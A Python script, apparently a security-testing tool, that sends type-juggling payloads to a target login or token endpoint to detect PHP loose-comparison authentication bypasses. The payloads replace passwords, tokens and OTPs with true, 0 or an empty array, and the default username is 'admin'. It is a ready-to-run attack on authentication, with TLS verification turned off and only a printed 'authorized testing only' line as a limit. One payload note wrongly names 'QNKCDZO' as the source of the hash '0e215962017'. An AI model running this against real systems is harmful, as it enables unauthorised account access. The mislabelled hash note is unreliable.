#!/usr/bin/env python3
"""Agent for testing type juggling vulnerabilities in PHP and loosely-typed applications."""

import argparse
import json
from datetime import datetime, timezone

try:
    import requests
    HAS_REQUESTS = True
except ImportError:
    HAS_REQUESTS = False

TYPE_JUGGLING_PAYLOADS = {
    "magic_hashes": [
        {"value": "0e462097431906509019562988736854", "note": "MD5 of '240610708' — equals 0 in loose comparison"},
        {"value": "0e215962017", "note": "MD5 of 'QNKCDZO' — equals 0"},
        {"value": 0, "note": "Integer 0 == '0e...' in PHP loose comparison"},
        {"value": True, "note": "Boolean true == any non-empty string in PHP"},
        {"value": [], "note": "Empty array == NULL in some contexts"},
    ],
    "type_coercion": [
        {"field": "password", "value": True, "note": "true == 'any_string' in PHP"},
        {"field": "password", "value": 0, "note": "0 == 'string' in PHP"},
        {"field": "token", "value": 0, "note": "0 == 'hex_token' in PHP"},
        {"field": "otp", "value": True, "note": "true == '123456' in PHP"},
    ],
}


def test_authentication_bypass(url, username_field, password_field, username, token=None):
    """Test authentication bypass via type juggling."""
    if not HAS_REQUESTS:
        return []
    findings = []
    headers = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"Bearer {token}"

    payloads = [
        {username_field: username, password_field: True},
        {username_field: username, password_field: 0},
        {username_field: username, password_field: []},
        {username_field: username, password_field: "0"},
        {username_field: True, password_field: True},
    ]

    try:
        baseline = requests.post(
            url, json={username_field: username, password_field: "wrong_password"},
            headers=headers, timeout=10, verify=False
        )
        baseline_status = baseline.status_code
        baseline_len = len(baseline.text)
    except requests.RequestException:
        return findings

    for payload in payloads:
        try:
            resp = requests.post(url, json=payload, headers=headers, timeout=10, verify=False)
            if resp.status_code != baseline_status or abs(len(resp.text) - baseline_len) > 50:
                findings.append({
                    "payload": str(payload),
                    "status_code": resp.status_code,
                    "response_length": len(resp.text),
                    "baseline_status": baseline_status,
                    "baseline_length": baseline_len,
                    "possible_bypass": True,
                    "severity": "CRITICAL",
                })
        except requests.RequestException:
            continue
    return findings


def test_comparison_bypass(url, param, token=None):
    """Test loose comparison bypass for tokens/OTP."""
    if not HAS_REQUESTS:
        return []
    findings = []
    headers = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"Bearer {token}"

    for payload_info in TYPE_JUGGLING_PAYLOADS["type_coercion"]:
        try:
            data = {param: payload_info["value"]}
            resp = requests.post(url, json=data, headers=headers, timeout=10, verify=False)
            if resp.status_code == 200:
                findings.append({
                    "param": param,
                    "value": str(payload_info["value"]),
                    "value_type": type(payload_info["value"]).__name__,
                    "note": payload_info["note"],
                    "severity": "HIGH",
                })
        except requests.RequestException:
            continue
    return findings


def main():
    parser = argparse.ArgumentParser(
        description="Test type juggling vulnerabilities (authorized testing only)"
    )
    parser.add_argument("--url", required=True, help="Target login/auth URL")
    parser.add_argument("--username-field", default="username")
    parser.add_argument("--password-field", default="password")
    parser.add_argument("--username", default="admin")
    parser.add_argument("--param", help="Parameter for comparison bypass test")
    parser.add_argument("--token", help="Bearer token")
    parser.add_argument("--output", "-o", help="Output JSON report")
    args = parser.parse_args()

    print("[*] Type Juggling Vulnerability Testing Agent")
    print("[!] For authorized security testing only")
    report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []}

    auth_findings = test_authentication_bypass(
        args.url, args.username_field, args.password_field, args.username, args.token
    )
    report["findings"].extend(auth_findings)
    print(f"[*] Auth bypass findings: {len(auth_findings)}")

    if args.param:
        comp_findings = test_comparison_bypass(args.url, args.param, args.token)
        report["findings"].extend(comp_findings)
        print(f"[*] Comparison bypass findings: {len(comp_findings)}")

    report["risk_level"] = "CRITICAL" if report["findings"] else "LOW"

    if args.output:
        with open(args.output, "w") as f:
            json.dump(report, f, indent=2)
        print(f"[*] Report saved to {args.output}")
    else:
        print(json.dumps(report, indent=2))


if __name__ == "__main__":
    main()
